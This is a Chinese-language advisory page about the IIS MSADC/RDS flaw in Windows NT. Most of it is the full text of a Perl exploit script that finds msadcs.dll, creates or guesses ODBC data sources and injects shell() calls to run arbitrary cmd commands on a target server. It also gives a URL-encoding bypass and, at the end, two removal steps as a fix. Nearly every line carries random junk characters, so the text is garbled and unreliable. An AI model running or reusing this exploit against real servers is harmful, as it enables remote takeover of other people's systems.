IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
17?NR\Q {b\Y?t^>f 涉及程序：
|s)VjS4@ Microsoft NT server
e<&_tx ? Yynd 描述：
/r #b 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7R%
PVgS4x $sB48LJuU' 详细：
eA;j/&qH 如果你没有时间读详细内容的话，就删除:
iPR! JX
_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
zzD NWPzsA 有关的安全问题就没有了。
e)fJd*P HPv&vdr3 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%`t]FV^# *rujdQf 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
i!/ h3%= 关于利用ODBC远程漏洞的描述，请参看:
I_R5\l}O+D 7=9A_4G! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm QH~8
aE_i eWqVh[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
BV wRPt http://www.microsoft.com/security/bulletins/MS99-025faq.asp d|D'&&&c 3}.mp}K 5 这里不再论述。
U~JG1#z6 >n@>h$] 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2 `q^Q 7N-CtQnv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Lrm tPnL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
dT*f-W _ d(Ks9 v ]( G?L9b #将下面这段保存为txt文件，然后: "perl -x 文件名"
i75?*ld `"^@[1 #!perl
5,G<}cd #
~Sn5;g8+\ # MSADC/RDS 'usage' (aka exploit) script
Ynk><0g6 #
d6Q :{!Sd" # by rain.forest.puppy
MfZ}xu #
~0Q\Lp); # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
@5dB b+0J # beta test and find errors!
&D&5UdN
x PG-cu$\?? use Socket; use Getopt::Std;
VygXhh^7\ getopts("e:vd:h:XR", \%args);
c DEe?WS &})4?5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.yHHogbt Y` [HjS , if (!defined $args{h} && !defined $args{R}) {
l7 2 i e print qq~
{ 8|Z}?I Usage: msadc.pl -h <host> { -d <delay> -X -v }
_Oaso > -h <host> = host you want to scan (ip or domain)
]ZU:%Qhu -d <seconds> = delay between calls, default 1 second
KY(l< pm -X = dump Index Server path table, if available
[W8iM7D -v = verbose
(pRy1DH~ -e = external dictionary file for step 5
Rzn 0-cG F?+Uar|-a Or a -R will resume a command session
HCe-]nMd o+6^|RP ~; exit;}
Xoa <r9 qNuv?.7 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2C
8L\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
eL] w' }\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I _ Mqh4]; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0
6G[^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{) '"
k6w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^0 ,&R\e+ d/-]y:`f` if (!defined $args{R}){ $ret = &has_msadc;
<|>:UGAR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
'8kL1 j_YZ(: = print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5D02%U2N)G . "cmd /c ";
EcS-tE 4% $in=<STDIN>; chomp $in;
bW 79<T'+ $command="cmd /c " . $in ;
)4o=t.O\K ,:Rq if (defined $args{R}) {&load; exit;}
V }r_ UU:QK {{E print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
cvLcre% >A &try_btcustmr;
4)>\rqF+v hnfrnYH print "\nStep 2: Trying to make our own DSN...";
QeOt; {_| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3vvFF]D5k _`Yvfz3 print "\nStep 3: Trying known DSNs...";
#\! hBL
@b &known_dsn;
"l2N_xX; s'fcAh,c6 print "\nStep 4: Trying known .mdbs...";
,a?\i
JNb &known_mdb;
Fy+7{=?^F 3!L<=X if (defined $args{e}){
E )Zd{9A5) print "\nStep 5: Trying dictionary of DSN names...";
Aaw:B?4) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]P ?#lO6 {u[K
^G print "Sorry Charley...maybe next time?\n";
bU g 2Bm!y exit;
+Muia5G %;\2QI `R ##############################################################################
dQ2i{A"BKz 1wH/ #K sub sendraw { # ripped and modded from whisker
HU.6L 'H* sleep($delay); # it's a DoS on the server! At least on mine...
gCBZA;/ my ($pstr)=@_;
Uc%`? +Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}?ac<> u& die("Socket problems\n");
M6 >\R$ if(connect(S,pack "SnA4x8",2,80,$target)){
/-<m(72wF select(S); $|=1;
9[]"%6 print $pstr; my @in=<S>;
gQzJ2LU( select(STDOUT); close(S);
1_E3DXe return @in;
:92a34 } else { die("Can't connect...\n"); }}
HuLm!tCu `5 v51TpH ##############################################################################
Tk@g9\6O9 {CyPcD'$s sub make_header { # make the HTTP request
-r2qI t my $msadc=<<EOT
BKlc{= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*]UEF_ User-Agent: ACTIVEDATA
JMe[
.S x Host: $ip
gS o(PW) Content-Length: $clen
I`}vdX) Connection: Keep-Alive
EA{*%9 A h, jAtL! ADCClientVersion:01.06
q-)_Qco Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"OAZ < kviSQM2 --!ADM!ROX!YOUR!WORLD!
Chi<)P$^ Content-Type: application/x-varg
1Qe ! Content-Length: $reqlen
Cot\i\]jv ke6cZV5w EOT
hy`)]>9z~ ; $msadc=~s/\n/\r\n/g;
(9q {J(44 return $msadc;}
|"E9DD]{ Y GO 7lar ##############################################################################
?kxWj(D 2B?i2 [a, sub make_req { # make the RDS request
2]3Jb{8FI> my ($switch, $p1, $p2)=@_;
JGNxJ S<] my $req=""; my $t1, $t2, $query, $dsn;
xw p?2,< WatLAn+ if ($switch==1){ # this is the btcustmr.mdb query
5 nIlG $query="Select * from Customers where City=" . make_shell();
&-)Y[#\J
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8}E(UsTa $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(c|qX-%rC O)Dw<j) elsif ($switch==2){ # this is general make table query
$U.'K!B $query="create table AZZ (B int, C varchar(10))";
>u#VHaB $dsn="$p1";}
r%mTOLef B91PlM. elsif ($switch==3){ # this is general exploit table query
G+^$JN= $query="select * from AZZ where C=" . make_shell();
_!p$4 7 $dsn="$p1";}
eu|q
{p +&8Ud8Q elsif ($switch==4){ # attempt to hork file info from index server
:\;uJ 5
$query="select path from scope()";
Y_YIJ@ $dsn="Provider=MSIDXS;";}
<%JO 3E cQ ;Ry!$ elsif ($switch==5){ # bad query
DN{G$$or $query="select";
3kQ8 *S $dsn="$p1";}
*K^O oS #]/T9: $t1= make_unicode($query);
Ca"+t
lO $t2= make_unicode($dsn);
S&)
>w5*]U $req = "\x02\x00\x03\x00";
O!+5As $req.= "\x08\x00" . pack ("S1", length($t1));
* CGdfdxW $req.= "\x00\x00" . $t1 ;
x#VUEu]8 $req.= "\x08\x00" . pack ("S1", length($t2));
:%o j'm44! $req.= "\x00\x00" . $t2 ;
VIdoT2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\k-juF80 return $req;}
iC2nHZ*, z(68^-V=: ##############################################################################
x`l;
; {Y TF]J $ sub make_shell { # this makes the shell() statement
Bzt`9lg return "'|shell(\"$command\")|'";}
E }j8p_p r:rJv ##############################################################################
fzG1<Gem ]H7Mx \ sub make_unicode { # quick little function to convert to unicode
5kNs@FP my ($in)=@_; my $out;
<5vB{)Tq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1Sk6[h'CL return $out;}
Z*3}L w o9f9 9 ##############################################################################
qyfxT Q5 3+uoK f[ sub rdo_success { # checks for RDO return success (this is kludge)
XB 7^Ka my (@in) = @_; my $base=content_start(@in);
uL A XN if($in[$base]=~/multipart\/mixed/){
,WK$jHG] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jn Y3G return 0;}
yyDBW`V(( ZU'^%)6~o~ ##############################################################################
fOervo DN0b.*[`3 sub make_dsn { # this makes a DSN for us
S ylsp%A my @drives=("c","d","e","f");
0J</`/g H print "\nMaking DSN: ";
B;_3IHMO foreach $drive (@drives) {
$ zi\ /Yw print "$drive: ";
#;]F:TlR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0 d]G "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^ w1R"qE"m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
a/#,Y<kJ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
UH|.@7w return 0 if $2 eq "404"; # not found/doesn't exist
BQg]$Tr? if($2 eq "200") {
}"k(kH foreach $line (@results) {
HNT8~s.2 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Y\\nJ uJo } return 0;}
RyD$4jk+T" )KQ um`pO ##############################################################################
~ ri w7" =upP3rw sub verify_exists {
H;&t"Ql. my ($page)=@_;
3<V!y&a my @results=sendraw("GET $page HTTP/1.0\n\n");
#_\~Vrf(# return $results[0];}
nQmYeM 83*k.]S` ##############################################################################
5~0;R`D LdUpVO8)l sub try_btcustmr {
~- i?= my @drives=("c","d","e","f");
}dl(9H=4 my @dirs=("winnt","winnt35","winnt351","win","windows");
RL9BB. !,"G/}'^; foreach $dir (@dirs) {
'|T= print "$dir -> "; # fun status so you can see progress
OG`O i^2 foreach $drive (@drives) {
B[V=l<J print "$drive: "; # ditto
_,~zy9{, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
f'U]Ik;Jy $reqlenlen=length( "$reqlen" );
fTgN 2U $clen= 206 + $reqlenlen + $reqlen;
'Y Zs6rcJ KIJ[ cIw my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Hm*#HT%# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(B#|3o else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
cf!R jXZNr ##############################################################################
-- sb ;QG RoRVu,1 sub odbc_error {
iKY&gnu" my (@in)=@_; my $base;
SbivW5|61 my $base = content_start(@in);
X_l,fu^C#$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DBDfB b $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jp`N%O]6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w[-Bsf
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;Vt
u8f return $in[$base+4].$in[$base+5].$in[$base+6];}
D IN
PAyY print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[K- s\ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6'zy"UkH $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>m!.l{*j>N q4= RE ##############################################################################
zPYa@0I
?2;G_P+ sub verbose {
K e8cfd~c my ($in)=@_;
$n"Llw&) return if !$verbose;
bHnQ LJ print STDOUT "\n$in\n";}
V
"" R&0l4g-4> ##############################################################################
Y~xZ {am YSif`W! sub save {
Qrh9JFqdG6 my ($p1, $p2, $p3, $p4)=@_;
cj
*4 XYu open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,YTIYG]( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p2K9 R4 close OUT;}
3>6o=7/PU 'CX
KphlWs ##############################################################################
b.;W|$ . 6wgOmyJx sub load {
T\>=o] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,}0pK\Y>$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!TF VBK @p=<IN>; close(IN);
L')zuI $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<9 ~qAq7^ $target= inet_aton($ip) || die("inet_aton problems");
b&1@rE - print "Resuming to $ip ...";
S)%x22sqf $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
t/g}cR^Q if($p[1]==1) {
s-B\8&^C $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X'm2uOEj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8h97~$7) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Jk*MxlA.b if (rdo_success(@results)){print "Success!\n";}
G
w[&P% else { print "failed\n"; verbose(odbc_error(@results));}}
U9w*x/S wb elsif ($p[1]==3){
|sh U if(run_query("$p[3]")){
3[r B:cE/ print "Success!\n";} else { print "failed\n"; }}
xo$ZPnf(zv elsif ($p[1]==4){
"K< VZ if(run_query($drvst . "$p[3]")){
85mQHZ8aR print "Success!\n"; } else { print "failed\n"; }}
j^.P=; exit;}
U?QO'H 5 rL=$Wxd PU ##############################################################################
;l'I. j o[ 6hUX0tN sub create_table {
EIRf6jL my ($in)=@_;
V_* ^2c) $reqlen=length( make_req(2,$in,"") ) - 28;
=j0V/= $reqlenlen=length( "$reqlen" );
X#y l8k_ $clen= 206 + $reqlenlen + $reqlen;
@!$NUY8,A# my @results=sendraw(make_header() . make_req(2,$in,""));
%#,BvQz~ return 1 if rdo_success(@results);
&%lh ov my $temp= odbc_error(@results); verbose($temp);
hd \#Vh(H return 1 if $temp=~/Table 'AZZ' already exists/;
BlUY9`VWh@ return 0;}
\w3wh* y^Lw7 ##############################################################################
5kF5`5+Vj _*9Zp1r sub known_dsn {
iYf4 /1IG, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
FyEl @ }W my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<_![~n$H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
N 5\<w> "banner", "banners", "ads", "ADCDemo", "ADCTest");
Li2)~4p>< d,77 L foreach $dSn (@dsns) {
hk
I$ow ( print ".";
|j,Mof next if (!is_access("DSN=$dSn"));
#d~"bn q;c if(create_table("DSN=$dSn")){
oC
[g print "$dSn successful\n";
j*5VJ: if(run_query("DSN=$dSn")){
e([&Nr8h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\ *2IU"R print "Something's borked. Use verbose next time\n";}}} print "\n";}
fHigLL0B \&H%k ##############################################################################
RA6D dqT~ C\{4<:<_& sub is_access {
!cZsIcI e my ($in)=@_;
r!#3>F;B $reqlen=length( make_req(5,$in,"") ) - 28;
H2]I__t/u $reqlenlen=length( "$reqlen" );
ZZTV
>: $clen= 206 + $reqlenlen + $reqlen;
=BtEduz my @results=sendraw(make_header() . make_req(5,$in,""));
ew(6;}+^/ my $temp= odbc_error(@results);
F, sT[C verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_W;u Qg'] return 0;}
,"'agg:St 6]Jv3Re'(I ##############################################################################
Y'-Lt5SCS O v-I2 sub run_query {
4M _83WL my ($in)=@_;
$3 L7R $reqlen=length( make_req(3,$in,"") ) - 28;
lwU&jo*@ $reqlenlen=length( "$reqlen" );
7,1idY%cy $clen= 206 + $reqlenlen + $reqlen;
[Ue>KG62= my @results=sendraw(make_header() . make_req(3,$in,""));
4Qd g t* return 1 if rdo_success(@results);
^t ah4QmUA my $temp= odbc_error(@results); verbose($temp);
zE [c$KPP return 0;}
(:\hor% 6-3 l6q ##############################################################################
Pc3u`Q L? 2C-u2;X2 sub known_mdb {
[D t`@Dm my @drives=("c","d","e","f","g");
ct ZW7 my @dirs=("winnt","winnt35","winnt351","win","windows");
7-5q\[ZK my $dir, $drive, $mdb;
qb_V
,b9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U2aE:$oeYi BXdT;b"J( # this is sparse, because I don't know of many
p})&Zl)V my @sysmdbs=( "\\catroot\\icatalog.mdb",
9qpH 8j+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
P
,i)A "\\system32\\certmdb.mdb",
oVu>jO:. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
!hq7R]TC+ v zn/waw my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J.-#:OZ "\\cfusion\\cfapps\\forums\\forums_.mdb",
&0#qy9wx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Cpj_ mMtu "\\cfusion\\cfapps\\security\\realm_.mdb",
.C #} g "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"%Jx,L\f{ "\\cfusion\\database\\cfexamples.mdb",
%S^`/Snv" "\\cfusion\\database\\cfsnippets.mdb",
oqj3Q
1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
C?B7xK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
IOA{l N6 "\\cfusion\\brighttiger\\database\\cleam.mdb",
4nY2v['m0 "\\cfusion\\database\\smpolicy.mdb",
GB+G1w "\\cfusion\\database\cypress.mdb",
~ e"^-x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h*d,AJz &. "\\website\\cgi-win\\dbsample.mdb",
yR`-rJb V "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
(~P&$$qfD "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
WDZEnauE ); #these are just
.Ybm27Dk foreach $drive (@drives) {
F kWJB> foreach $dir (@dirs){
^ I0SfZ'Y foreach $mdb (@sysmdbs) {
xWD wg@ P print ".";
?*T`a oB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+z4N xR
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
EU+sTe > if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
v}!,4,]:& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dI>oHMC } else { print "Something's borked. Use verbose next time\n"; }}}}}
k @ Hu0 x &8;mcM//4 foreach $drive (@drives) {
ENGw < foreach $mdb (@mdbs) {
Rl,B !SF print ".";
xpV8_G z; if(create_table($drv . $drive . $dir . $mdb)){
t Sg#2 print "\n" . $drive . $dir . $mdb . " successful\n";
`S!`=26Z! if(run_query($drv . $drive . $dir . $mdb)){
+Kk6|+5u print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
} {lOsZA } else { print "Something's borked. Use verbose next time\n"; }}}}
B8 2A:t) }
FSM~Rl ,^+3 AT ##############################################################################
o6q Q zk =Xp 3UNXg sub hork_idx {
#[A/zH|xvV print "\nAttempting to dump Index Server tables...\n";
|m=@;B| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
83 S],L $reqlen=length( make_req(4,"","") ) - 28;
iw#luHcJ $reqlenlen=length( "$reqlen" );
I*#~@:4* $clen= 206 + $reqlenlen + $reqlen;
pG"
4qw my @results=sendraw2(make_header() . make_req(4,"",""));
6@T_1 if (rdo_success(@results)){
#>233< my $max=@results; my $c; my %d;
tp1{)|pwY6 for($c=19; $c<$max; $c++){
P$!Ht $results[$c]=~s/\x00//g;
Tv (s?T6f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
W6a2I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}x%"Oq|2]x $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5[GX $d{"$1$2"}="";}
^wX_@?aKtt foreach $c (keys %d){ print "$c\n"; }
r}vr E
^Q } else {print "Index server doesn't seem to be installed.\n"; }}
Pd3t~1TaW N8KHNTb-M ##############################################################################
wo*/{KFvh @50Js3R1q sub dsn_dict {
i3kI{8h open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ztTpMj while(<IN>){
o&>0
pc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
KR{kn[2|Q next if (!is_access("DSN=$dSn"));
] $%{nj< if(create_table("DSN=$dSn")){
s# d>yx_b print "$dSn successful\n";
\O^=
Z{3y if(run_query("DSN=$dSn")){
bT8BJY%+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
HkQ2G} < print "Something's borked. Use verbose next time\n";}}}
p}j{ <y print "\n"; close(IN);}
I&^?,Fyy< 5B(|!Xq;I ##############################################################################
NoPM!.RU{ Y(&phv& sub sendraw2 { # ripped and modded from whisker
p>MX}^6 sleep($delay); # it's a DoS on the server! At least on mine...
!D my ($pstr)=@_;
'dx4L }d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nrZv> r die("Socket problems\n");
ok7 DI if(connect(S,pack "SnA4x8",2,80,$target)){
V-jo2+Y5= print "Connected. Getting data";
p HWo l! open(OUT,">raw.out"); my @in;
Uqkh@-6- select(S); $|=1; print $pstr;
BG'gk#J+f while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%`` FIv15w close(OUT); select(STDOUT); close(S); return @in;
p,xM7 V"O) } else { die("Can't connect...\n"); }}
j Sddjs o XGf#>keg ##############################################################################
p*>[6{$3)O YGxdYwBwf sub content_start { # this will take in the server headers
D]4?U L my (@in)=@_; my $c;
#M_QSD}& for ($c=1;$c<500;$c++) {
<,LeFy\zW if($in[$c] =~/^\x0d\x0a/){
4=1lyw if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u52@{@Ad else { return $c+1; }}}
bjR&bIA: return -1;} # it should never get here actually
z9VQsC' K @m(\f ##############################################################################
Ron^PvvY& F9d][ P@@ sub funky {
IQH;`+ my (@in)=@_; my $error=odbc_error(@in);
fA|'}(kH if($error=~/ADO could not find the specified provider/){
^P]: etld9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
D-[0^
exit;}
FL` . (, if($error=~/A Handler is required/){
Q(%uDUg% print "\nServer has custom handler filters (they most likely are patched)\n";
,PY<AI^59 exit;}
H 9&? <j1n if($error=~/specified Handler has denied Access/){
SH 5k^EJ print "\nServer has custom handler filters (they most likely are patched)\n";
u<+;]8[o exit;}}
PY` V]|J _Jx?m ##############################################################################
.}Xkr+
+] Z-:$)0f sub has_msadc {
u0i
@. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
s
n ? my $base=content_start(@results);
4I, HvP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
(L~3nN;r r return 0;}
NeNKOW#X X_=oJi| : ########################
+[z(N T nPC\ .x .&* Tj}p 解决方案：
KnbP@!+c 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
u |#ruFR 2、移除web 目录: /msadc
